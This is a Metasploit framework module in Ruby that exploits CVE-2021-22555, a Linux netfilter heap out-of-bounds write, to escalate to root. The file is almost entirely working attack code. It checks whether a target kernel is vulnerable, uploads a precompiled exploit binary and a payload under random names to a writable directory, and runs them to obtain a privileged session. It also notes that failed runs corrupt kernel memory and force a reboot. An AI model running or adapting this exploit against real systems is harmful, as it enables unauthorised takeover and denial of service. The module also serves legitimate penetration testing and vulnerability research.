##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking
  include Msf::Post::Common
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Netfilter x_tables Heap OOB Write Privilege Escalation',
        'Description' => %q{
          A heap out-of-bounds write affecting Linux since v2.6.19-rc1 was discovered in net/netfilter/x_tables.c.
          This allows an attacker to gain privileges or cause a DoS (via heap memory corruption) through user name space.
          Kernels up to 5.11 (including) are vulnerable.
          More information about vulnerable kernels is
          available at https://nvd.nist.gov/vuln/detail/CVE-2021-22555#vulnConfigurationsArea
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Andy Nguyen (theflow@)', # The original author of this exploit
          'Szymon Janusz',          # The author of this module
          'bcoles'                  # Updated the C source code to provide more targets
        ],
        'DisclosureDate' => '2021-07-07', # YYYY-DD-MM. Public disclosure date
        'Platform' => 'linux',
        'Arch' => [ ARCH_X64 ],
        'SessionTypes' => ['meterpreter', 'shell'],
        'Targets' => [
          ['Automatic', {}]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => [ UNRELIABLE_SESSION ], # The module could fail to get root sometimes.
          'Stability' => [ OS_RESOURCE_LOSS ], # After too many failed attempts, the system needs to be restarted.
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
        },
        'References' => [
          ['CVE', '2021-22555'],
          ['URL', 'https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html'],
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2021-22555'],
          ['URL', 'https://ubuntu.com/security/CVE-2021-22555']
        ]
      )
    )

    register_options(
      [
        OptString.new('WritableDir', [true, 'Directory to write persistent payload file.', '/var/tmp']),
        OptInt.new('CmdTimeout', [true, 'Maximum number of seconds to wait for the exploit to complete', 10])
      ]
    )
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def cmd_timeout
    datastore['CmdTimeout'].to_i
  end

  def get_external_source_code(cve, file)
    file_path = ::File.join(::Msf::Config.install_root, "external/source/exploits/#{cve}/#{file}")
    ::File.binread(file_path)
  end

  def strip_comments(c_code)
    c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
  end

  def check
    unless kernel_modules.include? 'ip_tables'
      vprint_warning('The ip_tables module is not loaded.')
      return CheckCode::Safe('The ip_tables module is not loaded.')
    end

    return CheckCode::Safe('LKRG is installed.') if lkrg_installed?
    return CheckCode::Safe('grsecurity is in use') if grsec_installed?

    release = kernel_release
    version = "#{release} #{kernel_version.split(' ').first}"
    ubuntu_offsets = strip_comments(get_external_source_code('CVE-2021-22555', 'exploit.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first
    ubuntu_kernels = ubuntu_offsets.scan(/"(.+?)"/).flatten
    if ubuntu_kernels.empty?
      fail_with(Msf::Module::Failure::BadConfig, 'Error parsing the list of supported kernels.')
    end
    return CheckCode::Safe("Ubuntu kernel #{version} is not vulnerable.") if !ubuntu_kernels.include? version

    # Setting the MSGMNI to a lower value is an easy remedy for this exploit on vulnerable kernels.
    # Currently, the exploit uses #define NUM_MSQIDS 4096, which is the minimum allowed message queue length.
    minimum_msgmni = 4096
    msgmni_path = '/proc/sys/kernel/msgmni'
    return CheckCode::Safe("#{msgmni_path} is not readable.") if !readable?(msgmni_path)

    msgmni = read_file(msgmni_path).to_i
    if msgmni >= minimum_msgmni
      return CheckCode::Appears("Target is running kernel release #{release}.")
    else
      return CheckCode::Safe("The kernel's MSGMNI queue size of #{msgmni} is too small for the exploit to execute successfully, making the target invulnerable. A minimum queue size of #{minimum_msgmni} is required. This setting can only be changed using sudo on the victim machine.")
    end
  end

  def upload_exploit_binary
    executable_name = rand_text_alphanumeric(5..10)
    @executable_path = "#{base_dir}/#{executable_name}"
    upload_and_chmodx(@executable_path, exploit_data('CVE-2021-22555', 'ubuntu.elf'))
    register_file_for_cleanup(@executable_path)
  end

  def upload_payload_binary
    payload_name = rand_text_alphanumeric(5..10)
    @payload_path = "#{base_dir}/#{payload_name}"
    upload_and_chmodx(@payload_path, generate_payload_exe)
    register_file_for_cleanup(@payload_path)
  end

  def run_payload
    response = cmd_exec(@executable_path, @payload_path, cmd_timeout)
    vprint_status(response)
    if response =~ /No space left on device/
      # After too many failed attempts, the system needs to be restarted.
      fail_with(Failure::PayloadFailed, 'The exploit failed! To try again, the remote system needs to be restarted as the memory has been corrupted.')
    elsif response =~ /Error could not corrupt any primary message/ || response =~ /Error could not leak adjacent secondary message/
      fail_with(Failure::PayloadFailed, 'The exploit failed when trying to corrupt the message queue. You can try running the exploit again.')
    elsif response =~ /system is not using an Ubuntu kernel/
      fail_with(Failure::PayloadFailed, 'The target is not running an Ubuntu kernel.')
    elsif response =~ /not recognized/
      fail_with(Failure::PayloadFailed, 'The target is running a kernel version that is currently not supported by the exploit.')
    end
    print_status('Payload executed!')
  end

  def exploit
    fail_with(Failure::BadConfig, "#{base_dir} is not writable.") if !writable?(base_dir)

    print_status('Dropping pre-compiled binaries to system...')
    upload_exploit_binary
    print_status('Uploading payload...')
    upload_payload_binary
    print_status('Running payload on remote system...')
    run_payload
  end
end
